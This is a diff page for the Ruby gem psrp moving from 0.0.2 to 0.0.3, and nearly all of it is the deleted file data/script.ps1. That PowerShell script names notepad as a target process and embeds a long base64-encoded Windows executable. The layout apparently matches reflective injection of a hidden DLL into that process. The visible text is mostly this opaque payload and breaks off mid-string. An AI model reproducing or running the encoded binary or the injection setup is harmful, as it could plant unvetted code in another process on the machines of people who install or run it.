psrp 0.0.2 → 0.0.3

Sign up to get free protection for your applications and to get access to all the features.
Files changed (7) hide show
  1. checksums.yaml +4 -4
  2. data/.gitignore +2 -1
  3. data/lib/psrp.rb +94 -72
  4. data/lib/version.rb +1 -1
  5. data/test_psrp.rb +28 -4
  6. metadata +2 -3
  7. data/script.ps1 +0 -2958
data/script.ps1 DELETED
@@ -1,2958 +0,0 @@
1
- $ProcName = notepad
2
- $PEBytes = [System.Convert]::FromBase64String('TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABZfkbuHR8ovR0fKL0dHyi9FGe7vR4fKL0dHym9Tx8ovQaCtr0XHyi9BoKDvTAfKL0GgoK9bB8ovQaCh70eHyi9BoKzvRwfKL0GgrW9HB8ovVJpY2gdHyi9AAAAAAAAAAAAAAAAAAAAAFBFAABkhgYAj8nyVgAAAAAAAAAA8AAiIAsCCgAARAEAALIAAAAAAAAcZQAAABAAAAAAAIABAAAAABAAAAACAAAFAAIAAAAAAAUAAgAAAAAAAHACAAAEAABe1wIAAgBAAQAAEAAAAAAAABAAAAAAAAAAABAAAAAAAAAQAAAAAAAAAAAAABAAAAAw1AEAVQAAAOTLAQAoAAAAAFACALgCAAAAMAIA1BMAAAAAAAAAAAAAAGACAMwEAAAgYwEAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAEAeAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAMkMBAAAQAAAARAEAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAAIV0AAAAYAEAAHYAAABIAQAAAAAAAAAAAAAAAABAAABALmRhdGEAAACkQAAAAOABAAAcAAAAvgEAAAAAAAAAAAAAAAAAQAAAwC5wZGF0YQAA1BMAAAAwAgAAFAAAANoBAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAALgCAAAAUAIAAAQAAADuAQAAAAAAAAAAAAAAAABAAABALnJlbG9jAAB8BgAAAGACAAAIAAAA8gEAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiJXCQQVUiNbCTQSIHsMAEAAEiNBceLAQBIjU3IM9tIiUQkIEiNBT2NAQCJXUBIiUXI6DkiAABMjVwkKEiNTchMiV0QSIldGOgjFgAAiEUgSDldEHUSi1XYSI1NyEUzwIPKBOi4KgAASItEJCBIY0gESI0FYIsBAEiJRAwgSI1MJCjoyQ0AAEiNDVKKAQDoXT0AAEiNFV6KAQBIjUwkKOhMDgAASIXASItEJCBIY0gESI1MDCB1EYtREIPKAkg5WUh1E4PKBOsOSDlZSLgEAAAAD0TYi9NFM8DoQioAAEiNFUOKAQBIjUwkIOghFgAASI1MJCjo5w4AAEiFwHUnSItEJCBIY0gEi1QMMEiNTAwgg8oCSIN5SAB1A4PKBEUzwOj7KQAASI1NyOhiAAAATI0dm4sBAEiNTchMiV3I6L4tAABIi5wkSAEAAEiBxDABAABdw8zMzMzMzMzMzMzMzMxAU0iD7CBIjZmoAAAASIvL6BsAAABMjR1UiwEASIvLTIkbSIPEIFvpdC0AAMzMzMxIiUwkCFNIg+wwSMdEJCD+////SIuBWP///0hjUARIjQUjigEASImEClj///9IjZlg////SIlcJEhIjQWIiQEASIkDSIO7mAAAAAB0KkiLUyBIjYOIAAAASDkCdRpIi0t4SItDcEiJAkiLQ0BIiQgryUiLQ1iJCIC7kAAAAAB0CUiLy+jIDQAAkEiLy+hfJwAAkEiLQ/hIY0gESI0FN4sBAEiJRBn4SIPEMFvDzMzMzEiD7ChIi4mYAAAASIXJdAXoMz8AAEiDxCjDzMzMzMzMSIPsKEiLiZgAAABIhcl0BeirPwAASIPEKMPMzMzMzMxIi8RVV0FUQVVBVkiNaKFIgeyQAAAASMdF//7///9IiVgYSIlwIEiLBbvTAQBIM8RIiUUvRIviSIv5g/r/dQczwOm6AgAASItRSEiDOgB0LkiLEkyLQWBJYwhIA8pIO9FzHEH/CEiLV0hMiwJJjUgBSIkKRYggQYvE6YICAABIg7+YAAAAAHUIg8j/6XACAABIi1cgSI2HiAAAAEg5AnUaSItPeEiLR3BIiQJIi0dASIkIK8lIi0dYiQhIg7+AAAAAAHUfQQ++zEiLl5gAAADoOD8AAEiDzv87xkEPRfTpGwIAAESIZee6DwAAAEiJVR/GRQcAM8lIiU0HSMdFFwgAAABIjUUHSIP6EEgPQ8GISAhIg87/RTP2TItNH0yLRRdMi1UHZmZmZg8fhAAAAAAASI1FB0mD+RBJD0PCSI1VB0kPQ9JIi4+AAAAATIsRSQPATI1F90yJRCQ4SIlEJDBIiVQkKEiNRe9IiUQkIEyNTehMjUXnSI2XjAAAAEH/UiiFwA+IZgEAAIP4AQ+PPwEAAEiNRQdMi1UHTItNH0mD+RBJD0PCSItd90gr2HQxSI1NB0mD+RBJD0PKTIuPmAAAAEyLw7oBAAAA6OJAAABIO9gPhb8AAABMi00fTItVB8aHiQAAAAFIjUXnSDlF7w+FyQAAAEyLRRdIhdsPhS////9Jg/ggD4OnAAAASIvGSSvASIP4CA+GigAAAEmNWAhIg/v+d3NMO8tzGkiL00iNTQfoeh8AAEyLTR9Mi0UXTItVB+sdSIXbdSFMiXUXSI1FB0mD+RBJD0PCRIgw6bf+//9IhdsPhMb+//9IjUUHSYP5EEkPQ8IzyUmJDABIiV0XSI1FB0iDfR8QSA9DRQeIDAPpgv7//+tWSI0NiYcBAOjoLgAAzEiNDXyHAQDo2y4AAJBJg/kQckZJi8rrPEmD+RByCEmLyuglOwAAQYvE6zCD+AN1GQ++TedIi5eYAAAA6Cc9AACD+P9BD0X06wBIg30fEHIJSItNB+jyOgAAi8ZIi00vSDPM6EQ4AABMjZwkkAAAAEmLW0BJi3NISYvjQV5BXUFcX13DzMzMzMzMzMxIiVwkCFdIg+wgSItBQEiL2Yv6SIsISIXJdDZIi0MgSDkIcy2D+v90CA+2Qf87wnUgSItDWP8ASItDQEj/CDPAg/r/D0XCSItcJDBIg8QgX8NIi5OYAAAASIXSdHWD//90cEiDu4AAAAAAdQ5AD7bP6KdAAACD+P91S0yLQ0BIjZOIAAAASTkQdEhMi0sgQIg6SYsBSDvCdBJIiUNwSItDWEhjCEkDCEiJS3hJiRFIi0NAi8tIiRBIi0NYK8qBwYkAAACJCIvHSItcJDBIg8QgX8ODyP9Ii1wkMEiDxCBfw0BTSIPsIEiLQUBIi9lIiwhIhcl0GEiLQ1hIYxBIA9FIO8pzCQ+2AUiDxCBbw0iLA0iLy0iJfCQw/1A4i/iD+P91DQvASIt8JDBIg8QgW8NIiwOL10iLy/9QIIvHSIt8JDBIg8QgW8PMzMzMzMzMzMxIi8RVQVRBVUiNaKFIgeyQAAAASMdFD/7///9IiVgQSIlwGEiJeCBIiwU6zwEASDPESIlFP0iL+UiLQUBIgzgAdCpIixBIi0FYSGMISAPKSDvRcxj/CEiLT0BIixFIjUIBSIkBD7YC6e8CAABIg7+YAAAAAHUIg8j/6d0CAABIi1cgSI2HiAAAAEg5AnUaSItPeEiLR3BIiQJIi0dASIkIK8lIi0dYiQhIg7+AAAAAAHUjSIuPmAAAAOhuPwAAg/j/dAlED7bg6YwCAABJg8z/6YMCAABIx0UvDwAAAEUz7UyJbSdEiG0XSIuPmAAAAOg4PwAASYPM/4P4/4vwD4RFAgAASYvMTItNJ0kryUiD+QEPhiQCAABJjVkBSIP7/g+HCQIAAEiLTS9IO8tzEU2LwUiL00iNTRfo8xsAAOsYSIXbdR5MiW0nSI1FF0iD+RBID0NFF4gYTItNJ0iLTS9IhdsPlcCEwHQvSI1FF0iD+RBID0NFF0KINAhIiV0nSI1FF0iDfS8QSA9DRRfGBBgASItNL0yLTSdIjVUXSItFF0iD+RBID0PQTI1FF0wPQ8BIi4+AAAAASIsBTAPKSI2XjAAAAEyNVQdMiVQkOEyNVfhMiVQkMEyNVfdMiVQkKEyNVf9MiVQkIP9QIIXAD4g5AQAAg/gBfhaD+AMPhSsBAABIg30nAQ+DigAAAOt3SI1F90g5RQdIjUUXD4WwAAAASItVF0yLTS9Jg/kQSA9DwkiLXf9IK9hMi0UnTDvDSQ9C2EiF23Q+SI1FF0mD+RBID0PCSI1NF0gPQ8pMK8NIjRQY6Nk+AABMi10nTCvbTIldJ0iNRRdIg30vEEgPQ0UXQsYEGABIi4+YAAAA6Js9AADpYv7//0yNRRdIg30vEEwPQ0UXugEAAABEi8pIjU336L9BAAAPtl33SIN9LxByCUiLTRfopzYAAIvD6YsAAABMi0UXSItVL0iD+hBJD0PASItN/yvBA0UnSGPYhcB+Jkj/yw++DAtIi5eYAAAA6Mk8AABIhdt+BkiLTf/r4kiLVS9Mi0UXD7Zd90iD+hByCEmLyOhINgAAi8PrL+saSI0Nc4IBAOjSKQAAzEiNDWaCAQDoxSkAAJBIg30vEHIJSItNF+gYNgAAQYvESItNP0gzzOhpMwAATI2cJJAAAABJi1soSYtzMEmLezhJi+NBXUFcXcPMzMzMzMzMzMzMzMxIiVwkEEiJbCQYVldBVEiD7CBIi0FATI2hiAAAAEGL6UmL8EiL2kiL+Uw5IHUTQYP5AXUNSIO5gAAAAAB1A0j/zkiDuZgAAAAAdHfokAYAAITAdG5IhfZ1BYP9AXQWSIuPmAAAAESLxUiL1ujIQQAAhcB1TkiLj5gAAABIjVQkQOgvQgAAhcB1OUiLVyBMOSJ1GkiLR3BIi094SIkCSItHQEiJCEiLR1gryYkIM8BIiQNIi0QkQEiJQwiLh4wAAADrEEiLBedHAQBIiQMzwEiJQwhIi2wkUIlDEEiLw0iLXCRISIPEIEFcX17DzMzMzMxIiVwkEEiJbCQYSIl0JCBXSIPsIEmLQAhJi+hIi9pMY8hIY/BIi/lJK/FIiUQkMEkDMEiDuZgAAAAAdHrorwUAAITAdHFIi4+YAAAASI1UJDDoukEAAIXAdVxIhfZ0F0iLj5gAAABEjUABSIvW6NZAAACFwHVASIuPmAAAAEiNVCQw6D1BAACFwHUri0UQSIvPiYeMAAAA6GQIAABIi0QkMEiJQwiLh4wAAABFM9uJQxBMiRvrFUiLBQNHAQBFM9tIiQNMiVsIRIlbEEiLbCRASIt0JEhIi8NIi1wkOEiDxCBfw8zMzMzMzMzMzMzMzMxAU0iD7CBIi9lIi4mYAAAATYvISIXJdDhIhdJ1C02FwHUGRY1BBOsDRTPA6ChBAACFwHUcSIuTmAAAAESNQAFIi8voCQQAAEiLw0iDxCBbwzPASIPEIFvDzMzMzMzMzMxAU0iD7CBIg7mYAAAAAEiL2XQnSIsBg8r//1AYg/j/dBlIi4uYAAAA6I9DAACFwHkJg8j/SIPEIFvDM8BIg8QgW8PMzMzMzMzMzMzMzMzMzEBTSIPsIEiL2UiLyugfDAAASIvLSIvQSIPEIFvpnwYAAMzMzMzMzMzMzMzMzMzMzEiJXCQISIl0JBBXSIPsIEiNsVj///+L+kiNjqgAAADoHPT//0iNBVV/AQBIjY6oAAAASImGqAAAAOhyIQAAQPbHAXQISIvO6NQyAABIi1wkMEiLxkiLdCQ4SIPEIF/DzEiJTCQIV0iD7DBIx0QkIP7///9IiVwkSIv6SIvZSI0FhH0BAEiJAUiDuZgAAAAAdCpMi0EgSI2BiAAAAEk5AHUaSItJeEiLQ3BJiQBIi0NASIkIK8lIi0NYiQiAu5AAAAAAdAlIi8voxAEAAJBIi8voWxsAAED2xwF0CEiLy+g9MgAASIvDSItcJEhIg8QwX8PMzMzMzMzMzMzMzMzMzMxAU0iD7CBIi9no0gYAADPJxoOQAAAAAMaDiQAAAABIjUMQSIlDIEiNQzBIjVMYSIlDQEiJUyhIjUM4SIlDSEiNQ1BMjR2/fAEASIlDWEyJG0iNQ1RIiUNgSIkKSItDSEiJCEiLQ2CJCEiLQyBIiQhIi0NASIkISItDWIkIiwU27wEASImLmAAAAImDjAAAAEiLw0iJi4AAAABIg8QgW8PMQFdIg+wwSMdEJCD+////SIlcJEhIiXQkWEiLwkiL+UiDuZgAAAAAD4WkAAAAugIAAABEjUI+SIvI6MImAABIhcAPhIoAAABBuAEAAABIi9BIi8/oeAEAAEiNVCRQSIvP6MsGAACQSIvI6PIJAABIi9BIi8/odwQAAJBIi3QkUEiF9nRIM9JIjUwkQOiwIwAASItGCEiFwHQNSIP4/3MHSP/ISIlGCDPbSDleCEgPRN5IjUwkQOi2IwAASIXbdA1IiwO6AQAAAEiLy/8QSIvH6wIzwEiLXCRISIt0JFhIg8QwX8PMzMzMzMzMzMzMzMzMSIlcJAhIiXQkEFdIg+wgSIO5mAAAAABIi9l1BjP/i/frIuhpAQAASIuLmAAAADP/hMBIi/NID0T36N5BAACFwEgPRffGg5AAAAAAxoOJAAAAAEiNSxhIiUsoSI1DEEiJQyBIjUMwSIlDQEiNQzhIiUNISI1DUEiJQ1hIjUNUSIlDYEiJOUiLS0hIiTlIi0tgSIvGSIt0JDiJOUiLSyBIiTlIi0tASIk5SItLWIk5iw107QEASIm7mAAAAImLjAAAAEiJu4AAAABIi1wkMEiDxCBfw8zMzMzMzMzMzMzMzMzGgYkAAAAAQYP4AUyNQRhMiUEoD5TARTPJiIGQAAAASI1BEEiJQSBIjUEwSIlBQEiNQThIiUFISI1BUEiJQVhIjUFUSIlBYE2JCEiLQUhMiQhIi0FgRIkISItBIEyJCEiLQUBMiQhIi0FYRIkISIXSdCBIjUIQSIlRQEiJUUhIiUEgSIlBKEiNQghIiUFYSIlBYIsFsOwBAEiJkZgAAABMiYmAAAAAiYGMAAAAw8zMzEiLxFVXQVRIi+xIg+xwSMdFyP7///9IiVgQSIlwGEiLBdPEAQBIM8RIiUX4SIv5SIO5gAAAAAAPhAwCAACAuYkAAAAAD4T/AQAASIsBg8r//1AYg/j/D4TBAQAAug8AAABIiVXoxkXQADPJSIlN0EjHReAIAAAASI1F0EiD+hBID0PBiEgIRTPkTItN6EyLVdBmZmZmZmZmDx+EAAAAAABIjVXQSYP5EEkPQ9JMjUXQTQ9DwkiLj4AAAABMixFIi0XgTI0MAkiNRcBIiUQkIEiNl4wAAABB/1IwhcB0Cv/ID4UBAQAA6wdEiKeJAAAASI1F0EyLVdBMi03oSYP5EEkPQ8JIi13ASCvYdDFIjU3QSYP5EEkPQ8pMi4+YAAAATIvDugEAAADolDIAAEg72A+F2AAAAEyLTehMi1XQRDiniQAAAA+E8QAAAEiF2w+FTf///0iDyP9Mi0XgSSvASIP4CA+GxgAAAEmNWAhIg/v+D4erAAAATDvLcxZIi9NIjU3Q6DkRAABMi03oTItV0OsdSIXbdSFMiWXgSI1F0EmD+RBJD0PCRIgg6dv+//9IhdsPhOn+//9IjU3QSYP5EEkPQ8pIi0XgM9JIiRQBSIld4EiNRdBIg33oEEgPQ0XQiBQY6aL+//+D6AJ0FEiDfegQcipIi03Q6AQtAAAywOtLSIN96BByQkiLTdDrN0iDfegQcglIi03Q6OMsAAAywOsqSI0NEHkBAOhvIAAAzEiNDQN5AQDoYiAAAJBJg/kQcghJi8rotywAALABSItN+EgzzOgJKgAATI1cJHBJi1soSYtzMEmL40FcX13DzMzMzEiJXCQIV0iD7CBIiwJIi9lIi8pIi/r/UAgz0oTAdBJIiZOAAAAASItcJDBIg8QgX8NIibuAAAAASI1DEEiNSxhIiUMgSIlLKEiNQzBIiUNASI1DOEiJQ0hIjUNQSIlDWEiNQ1RIiUNgSIkRSItDSEiJEEiLQ2CJEEiLQyBIiRBIi0NASIkQSItDWEiLXCQwiRBIg8QgX8PMzMzMzMzMzMxMi0EgSI2BiAAAAEk5AHUaSItBcEiLUXhJiQBIi0FASIkQSItBWCvSiRDzw8zMzMxIi0QkKEiLTCRATIkASItEJDBIiQG4AwAAAMPMzMzMzEiLRCQoTIkAuAMAAADDzMxIi0QkKE0ryEk7wUwPQshBi8HDzMzMzMzMzMzMzMzMzEBTSIPsIEiNBcNAAQBIi9lIiQH2wgF0BehTKwAASIvDSIPEIFvDzMzMzMzMzMzMzEiJTCQIVVZXSIPsMEjHRCQg/v///0iJXCRgSIvZSI0FlHcBAEiJAUiDwQjoKB4AAJC5CAAAAOhxOwAASIv4M+1IhcB0OegCJAAASIkH6KohAABIi/Az0kiNTCRY6J8dAABIi04ISIP5/3MHSP/BSIlOCEiNTCRY6LQdAADrA0iL/UiJe2hIjUMQSIlDIEiNSxhIiUsoSI1DMEiJQ0BIjUM4SIlDSEiNQ1BIiUNYSI1DVEiJQ2BIiSlIi0NISIkoSItDYIkoSItDIEiJKEiLQ0BIiShIi0NYiShIi8NIi1wkYEiDxDBfXl3DzMzMzMzMzEiJXCQQV0iD7CBIi0FoSIvaSI1MJDBIizhIiToz0ujtHAAASItHCEiD+P9zB0j/wEiJRwhIjUwkMOgCHQAASIvDSItcJDhIg8QgX8PMzMzMQFdIg+wwSMdEJCD+////SIlcJEBIiXQkWEiNVCRQ6P0GAACQSIvI6IQKAABIi/BIi3wkUEiF/3RIM9JIjUwkSOh7HAAASItHCEiFwHQNSIP4/3MHSP/ISIlHCDPbSDlfCEgPRN9IjUwkSOiBHAAASIXbdA1IiwO6AQAAAEiLy/8QSIsGsiBIi87/UDBIi1wkQEiLdCRYSIPEMF/DzMzMzEiJTCQIVldBVEFVQVZIg+xASMdEJCD+////SIlcJHhMi/JIi/Ez24mcJIAAAAAzwEiDyf9Ii/ryrkj30UyNYf9IiwZIY0gESIt8MShIhf9+Ckk7/H4FSSv86wIz/0yL7kiJdCQoSItMMUhIhcl0B0iLAf9QCJBIiwZIY0gEg3wxEAB1D0iLTDFQSIXJdAXofQUAAEiLBkhjSASDfDEQAA+UwIhEJDCEwHUKuwQAAADpIwEAAItEMRglwAEAAIP4QHRrSIX/fl5IiwZIY0gERA+2RDFYSItMMUhIi0FISIM4AHQiSItBYIM4AH4Z/whIi0lISIsRSI1CAUiJAUSIAkEPtsDrCkEPttBIiwH/UBiD+P91DIPLBImcJIAAAADrBUj/z+udhdsPhYcAAABIiwZIY0gESItMMUhIiwFNi8RJi9b/UEhJO8R0B7sEAAAA61xIhf9+XkiLBkhjSARED7ZEMVhIi0wxSEiLQUhIgzgAdCJIi0FggzgAfhn/CEiLSUhIixFIjUIBSIkBRIgCQQ+2wOsKQQ+20EiLAf9QGIP4/3UFg8sE6wVI/8/rpImcJIAAAABIiwZIY0gESMdEMSgAAAAA6xFIi3QkcIucJIAAAABMi2wkKEiLBkhjSARIA86F23QYi1EQC9NIg3lIAHUDg8oERTPA6BQSAACQ6EIkAACEwHUJSYvN6AIDAACQSYtFAEhjSARKi0wpSEiFyXQGSIsB/1AQSIvGSItcJHhIg8RAQV5BXUFcX17DzMzMzEBVVldIg+xASMdEJCD+////SIlcJHhIi+kz0kiNTCRo6LsZAACQSIs1k+QBAEiJdCRwSIs9n+QBAEiF/3U9M9JIjUwkYOiWGQAASDk9h+QBAHUXiwXH0gEA/8CJBb/SAQBImEiJBW7kAQBIjUwkYOicGQAASIs9XeQBAEiLTQBIO3kYcxNIi0EQSIsc+EiF2w+FngAAAOsCM9uAeSQAdBPoNx0AAEg7eBhzDUiLQBBIixz4SIXbdXxIhfZ0BUiL3utySIvVSI1MJHDogQAAAEiD+P91I0iNFYxyAQBIjUwkKOiCJQAASI0VK6EBAEiNTCQo6BE8AADMSItcJHBIiR284wEAM9JIjUwkYOjQGAAASItLCEiD+f9zB0j/wUiJSwhIjUwkYOjlGAAASIvL6NkbAACQSI1MJGjo0hgAAEiLw0iLXCR4SIPEQF9eXcPMzEBVVldBVEFVSI1sJMlIgeyQAAAASMdFx/7///9IiZwkyAAAAEyL4kiL8UUz7UGL/USJbWdIOTkPhRgBAABBjU0Q6PY1AABIi9hIiUV3SIXAD4SYAAAASYsEJEiLeChIhf91BEiNeDAz0kiNTefoHhgAAJBMiW3vxkX3AEyJbf/GRQcATIltD8ZFFwBMiW0fxkUnAEiF/3U0SI0F+XABAEiJRWdIjVVnSI1Nz+jkIwAATI0dcTkBAEyJXc9IjRUOnwEASI1Nz+jtOgAAzEiL10iNTefoMB0AAJC/AQAAAEyJawhIjQVvcAEASIkD6wNJi91IiR5A9scBdFtIjU3n6HEcAACQSItNH0iFyXQF6LI2AABMiW0fSItND0iFyXQF6KA2AABMiW0PSItN/0iFyXQF6I42AABMiW3/SItN70iFyXQF6Hw2AABMiW3vSI1N5+hrFwAAuAIAAABIi5wkyAAAAEiBxJAAAABBXUFcX15dw8zMzMzMzMzMzMzMzMzMzEBXSIPsMEjHRCQg/v///0iJXCRASIvZSIsBSGNIBPZEGRgCdEUz//ZEGRAGdRZIi0wZSEiLAf9QaLkEAAAAg/j/D0T5SIsDSGNIBEgDy4X/dBiLURAL10iDeUgAdQODygRFM8Dolw4AAJBIi1wkQEiDxDBfw8zMzMzMzMzMzMzMSIlMJAhTSIPsMEjHRCQg/v///0iL2eiZIAAAhMB1CUiLC+hZ////kEiLE0iLAkhjSARIi0wRSEiFyXQGSIsB/1AQSIPEMFvDzMzMzMzMzMxIg+woSIsRSIsCSGNIBEiLTBFISIXJdAZIiwH/UBBIg8Qow8zMzMzMzMzMzMzMzMxIiVwkCFdIg+wgSIsBSIvZM/9IY0gE9kQZEAZ1FkiLTBlISIsB/1BouQQAAACD+P8PRPlIiwNIY0gESAPLhf90F4tREAvXSIN5SAB1A4PKBEUzwOioDQAASIvDSItcJDBIg8QgX8PMzMzMzMzMzMzMSIlcJBBXSIPsIEiLQUBIi9pIjUwkMEiLOEiJOjPS6H0VAABIi0cISIP4/3MHSP/ASIlHCEiNTCQw6JIVAABIi8NIi1wkOEiDxCBfw8zMzMxIiVwkCFdIg+wgSI0Fh28BAIv6SIvZSIkBi0EghcB+C0iLSRjoWzQAAOsLeQlIi0kY6I40AABIjQWzNwEASIkDQPbHAXQISIvL6EIiAABIi8NIi1wkMEiDxCBfw8zMzMxIiVwkEFZIg+wgSYvwSIvaSTvQdCZIiXwkMEiNeRBmkA+2C0iL1+gNHAAASP/DiEP/SDvedepIi3wkMEiLw0iLXCQ4SIPEIF7DzMzMzMzMzA+2wkiNURCLyOnaGwAAzMxIiVwkEFZIg+wgSYvwSIvaSTvQdCZIiXwkMEiNeRBmkA+2C0iL1+hJHQAASP/DiEP/SDvedepIi3wkMEiLw0iLXCQ4SIPEIF7DzMzMzMzMzA+2wkiNURCLyOkWHQAAzMxAU0iD7CBJi9hJi8lMK8LoLCkAAEiLw0iDxCBbw8zMzA+2wsPMzMzMzMzMzMzMzMxAU0iD7CBIi0wkUEmL2Ewrwuj6KAAASIvDSIPEIFvDzEBTSIPsIEiL2UiLCUiFyXQF6P4yAABIxwMAAAAASIPEIFvDzMzMzMzMzMzMzMzMzEBVVldBVEFVSI1sJMlIgeyQAAAASMdFx/7///9IiZwkyAAAAEyL4kiL8UUz7UGL/USJbWdIOTkPhTgBAABBjU0o6BYxAABIi9hIiUV3SIXAD4S4AAAASYsEJEiLeChIhf91BEiNeDAz0kiNTefoPhMAAJBMiW3vxkX3AEyJbf/GRQcATIltD8ZFFwBMiW0fxkUnAEiF/3U0SI0FGWwBAEiJRWdIjVVnSI1Nz+gEHwAATI0dkTQBAEyJXc9IjRUumgEASI1Nz+gNNgAAzEiL10iNTefoUBgAAJC/AQAAAEyJawhIjQUPbQEASIkDSI1Nz+gzGwAASIsISIlLEEiLSAhIiUsYSItAEEiJQyDrA0mL3UiJHkD2xwF0W0iNTefocRcAAJBIi00fSIXJdAXosjEAAEyJbR9Ii00PSIXJdAXooDEAAEyJbQ9Ii03/SIXJdAXojjEAAEyJbf9Ii03vSIXJdAXofDEAAEyJbe9IjU3n6GsSAAC4AgAAAEiLnCTIAAAASIHEkAAAAEFdQVxfXl3DzMzMzMzMzMzMzMzMzMzMQFVWV0iD7EBIx0QkIP7///9IiVwkeEiL6TPSSI1MJGjo6xEAAJBIizXL3AEASIl0JHBIiz0nywEASIX/dT0z0kiNTCRg6MYRAABIOT0PywEAdReLBffKAQD/wIkF78oBAEiYSIkF9soBAEiNTCRg6MwRAABIiz3lygEASItNAEg7eRhzE0iLQRBIixz4SIXbD4WeAAAA6wIz24B5JAB0E+hnFQAASDt4GHMNSItAEEiLHPhIhdt1fEiF9nQFSIve63JIi9VIjUwkcOiR/f//SIP4/3UjSI0VvGoBAEiNTCQo6LIdAABIjRVbmQEASI1MJCjoQTQAAMxIi1wkcEiJHfTbAQAz0kiNTCRg6AARAABIi0sISIP5/3MHSP/BSIlLCEiNTCRg6BURAABIi8voCRQAAJBIjUwkaOgCEQAASIvDSItcJHhIg8RAX15dw8zMSIlcJBBIiXQkGFdIg+wgM/ZFM8Az0kiL2cdBGAECAABIx0EgBgAAAEiJcUBIiXEIiXEUSIlxKEiJcTBIiXE46GwIAACNTgjoIC4AAEiL+EiFwHRL6LMWAABIiQfoWxQAAEiNTCQwM9JIi/DoUBAAAEiLTghIg/n/cwdI/8FIiU4ISI1MJDDoZRAAAEiJe0BIi1wkOEiLdCRASIPEIF/DSIlzQEiLXCQ4SIt0JEBIg8QgX8PMzMzMzMzMzMzMzMzMuAEAAADDzMzMzMzMzMzMzLABw8zMzMzMzMzMzMzMzMxIjQVxMAEASIkB6UkcAADMSIlcJAhXSIPsIEiNBVcwAQCL2kiL+UiJAegqHAAA9sMBdAhIi8/o5RwAAEiLx0iLXCQwSIPEIF/DzMzMzMzMzEBTSIPsIEiL2eg2HAAATI0dEzABAEyJG0iLw0iDxCBbw8zMzMzMzMzMzMzMzMzMzEiD7EgzwEiF0nRJSIP6/3cNSIvK6PMsAABIhcB1NkiNVCRYSI1MJCBIx0QkWAAAAADoLhsAAEyNHbsvAQBIjRW0lwEASI1MJCBMiVwkIOg1MgAAzEiDxEjDzMzMzMzMzEyJRCQYSIlUJBBIiUwkCFNWV0FUSIPsSEjHRCQg/v///02L4EiL2UiL+kiDzw9Ig//+dgVIi/rrNUyLQRhJi8hI0elIuKuqqqqqqqqqSPfnSNHqSDvKdhZIx8f+////SIvHSCvBTDvAdwRKjTwBSI1PATP2SIXJdE9Ig/n/dw3oKCwAAEiL8EiFwHU8SMeEJIgAAAAAAAAASI2UJIgAAABIjUwkKOhaGgAASI0F5y4BAEiJRCQoSI0V25YBAEiNTCQo6GExAACQ6xpIi1wkcEyLpCSAAAAASIt8JHhIi7QkiAAAAE2F5HQaSIN7GBByBUiLE+sDSIvTTYvESIvO6A0jAABIg3sYEHIISIsL6C4bAADGAwBIiTNIiXsYTIljEEiD/xBID0PeQsYEIwBIg8RIQVxfXlvDzMzMzMzMzMzMSIlcJAhXSIPsIEmL+EyLQRBMi8pIi9lMO8JzDUiNDf1mAQDo0A4AAMxMK8JMO8dJD0L4SIX/dFdIi0EYSIP4EHIISIsJSIsD6wNIi8NIA9FKjQwITCvHSAPX6HEiAABMi1sQTCvfSIN7GBBMiVsQchZIiwNCxgQYAEiLw0iLXCQwSIPEIF/DSIvDQsYEGwBIi8NIi1wkMEiDxCBfw8zMzEBTSIPsIEiDeRgQSIvZcghIiwnoSBoAAEjHQxgPAAAASMdDEAAAAADGAwBIg8QgW8PMzMzMzMzMzMzMzMzMzMxIiVwkCFdIg+wgi9pIi/noHAMAAPbDAXQISIvP6P8ZAABIi8dIi1wkMEiDxCBfw8xIg8EI6UcNAADMzMzMzMzMSIPBCOk/DQAAzMzMzMzMzIPI/8PMzMzMzMzMzMzMzMxIi0FASIM4AHQISItBWEhjAMMzwEiYw8zMzMzMzMzMzEBTSIPsIEiLAUiL2f9QMIP4/3UIC8BIg8QgW8NIi0NY/whIi0tASIsRSI1CAUiJAQ+2AkiDxCBbw8zMzMzMzMxIiVwkEEiJbCQYSIl0JCBXSIPsIDP2SYvYSIv6SIvpTYXAD46JAAAATIlkJDAPHwBIi83oaP///0yL4EiFwH41SItVQEg72EiLz0iLEkwPTONNi8To1yAAAEiLRVhJA/xEKSBIi01ASWPESQP0SSvcSAEB6xpIi1UASIvN/1I4g/j/dBCIB0j/x0j/xkj/y0iF23+cTItkJDBIi8ZIi1wkOEiLbCRASIt0JEhIg8QgX8NIi8br5szMzMzMzMzMzMxIi0FISIM4AHQISItBYEhjAMMzwEiYw8zMzMzMzMzMzEiJXCQQSIl0JBhIiXwkIEFUSIPsIDP/SYvYSIvyTIvhTYXAD46NAAAASIlsJDBmkEmLzOio////SIvoSIXAfjdJi0wkSEg72EiL1kiLCUgPTOtMi8Xo9h8AAEmLRCRgSAP1KShJi0wkSEhjxUgD/Ugr3UgBAescTYsEJA+2FkmLzEH/UBiD+P90Dkj/xkj/x0j/y0iF23+YSItsJDBIi8dIi1wkOEiLdCRASIt8JEhIg8QgQVzDSIvH6+XMzMzMzEiLBYkqAQBIiQIzwEiJQgiJQhBIi8LDzMzMzMzMzMzMSIvBw8zMzMzMzMzMzMzMzDPAw8zMzMzMzMzMzMzMzMzCAADMzMzMzMzMzMzMzMzMSI0FySwBAEiJAcPMzMzMzEBTSIPsIEiLGUiF23RSSI1MJDAz0kiJfCQ46AEKAABIi0MI